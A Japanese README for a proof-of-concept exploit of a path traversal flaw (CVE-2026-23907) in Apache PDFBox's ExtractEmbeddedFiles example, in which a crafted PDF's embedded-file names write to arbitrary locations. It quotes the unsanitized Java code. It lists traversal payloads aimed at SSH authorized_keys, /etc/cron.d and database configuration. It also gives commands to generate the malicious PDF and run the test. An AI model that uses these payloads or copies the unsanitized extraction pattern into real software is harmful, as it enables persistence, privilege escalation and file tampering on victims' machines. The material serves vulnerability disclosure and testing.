
Apache PDFBoxのパストラバーサル脆弱性(CVE-2026-23907)に対する概念実証エクスプロイトであり、悪意のあるPDFに埋め込まれたファイルを介した任意のファイル書き込みを実証します。
Apache PDFBoxのExtractEmbeddedFilesサンプルコードは、PDFから埋め込みファイルを抽出する際にファイル名をサニタイズしません。攻撃者はパストラバーサルシーケンス(../)を含むファイルを埋め込むことで、任意のファイルシステム上の場所にファイルを書き込むことができます。
ファイル: pdfbox/examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java
private static void extractFile(String filePath, String filename, PDEmbeddedFile embeddedFile)
throws IOException
{
String embeddedFilename = filePath + filename; // NO SANITIZATION
File file = new File(embeddedFilename);
File parentDir = file.getParentFile();
if (!parentDir.exists())
{
parentDir.mkdirs(); // Creates arbitrary directories
}
try (FileOutputStream fos = new FileOutputStream(file))
{
fos.write(embeddedFile.toByteArray()); // Writes to arbitrary location
}
}
filenameパラメータは検証なしでPDFから直接取得されます。
SSHキー注入
../../.ssh/authorized_keysCronジョブ注入
../../../etc/cron.d/malicious設定ファイルの上書き
../../config/database.ymlcreate_malicious_pdf.py - パストラバーサルを含む悪意のあるPDFを生成TestPathTraversal.java - 脆弱性を実証test_path_traversal.sh - 自動テストスクリプトmalicious_path_traversal.pdf - 事前生成された悪意のあるPDF./test_path_traversal.sh
# 1. 悪意のあるPDFを生成
python3 create_malicious_pdf.py
# 2. テストをコンパイル(PDFBox JARが必要)
javac -cp pdfbox-app.jar TestPathTraversal.java
# 3. テストを実行
java -cp .:pdfbox-app.jar TestPathTraversal malicious_path_traversal.pdf
# 4. パストラバーサルを確認
cat /tmp/path_traversal_poc
PATH TRAVERSAL DETECTED!
Expected path prefix: /current/working/directory
Actual path: /tmp/path_traversal_poc
ExtractEmbeddedFiles.java サンプルコードPDComplexFileSpecification.getFilename()を呼び出すコード